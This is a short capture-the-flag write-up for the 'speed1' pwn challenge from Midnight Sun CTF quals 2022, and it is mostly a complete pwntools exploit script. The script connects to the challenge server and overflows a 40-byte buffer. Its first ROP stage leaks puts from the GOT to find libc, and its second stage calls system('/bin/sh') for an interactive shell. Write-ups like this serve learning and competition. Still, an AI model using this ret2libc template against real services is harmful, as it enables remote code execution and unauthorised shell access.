Tags: pwn 

Rating:

The original writeup for speed1 can be found at [https://github.com/0x01DA/writeups/tree/master/midnightsunctfquals2022/speed1](https://github.com/0x01DA/writeups/tree/master/midnightsunctfquals2022/speed1)

We used a two stage payload. First stage finds out the address of puts via GOT. We calculate the address for the system-function and the second stage delivers the ret2libc-payload

```
#!/usr/bin/env python3

import os
from pwn import *
import pwnlib.elf

context.log_level = 'debug'
c = remote('speed-01.hfsc.tf',61000)
#c = process('./speed1')
# break: 0x40124d
# c = gdb.debug(['./speed1'], gdbscript='''
# b *0x40124d
# c
# ''')
libc = ELF('libc.so.6')
e = ELF('./speed1')

context.binary = e
context.os = 'linux'
context.arch = 'amd64'
rop = ROP(e)

c.recvuntil('b0fz:')

# padding for buffer overflow
rop.raw("A" * 40)
rop.puts(e.got['puts'])
rop.call(0x4010d0) # address of main/entrypoint
print(rop.dump())

info("Stage 1, leaking puts@libc address")
c.sendline(rop.chain())
leakedPuts = c.recvline()[:8].strip()

leakedPuts = int.from_bytes(leakedPuts, byteorder='little')
success(f'Leaked puts: {leakedPuts:x}')
libc.address = leakedPuts - libc.symbols['puts']
info(f"Libc Address: {libc.address:x}")

info("Stage 2, ret2shell")
c.recvuntil('b0fz:')
rop2 = ROP(libc)
rop2.call(rop.find_gadget(['ret']))
rop2.call(libc.symbols['system'], [next(libc.search(b"/bin/sh\x00"))])

padding = (b"A"*40)
payload = b"".join([padding, rop2.chain()])
c.sendline(payload)
c.interactive()
```

Original writeup (https://github.com/0x01DA/writeups/tree/master/midnightsunctfquals2022/speed1).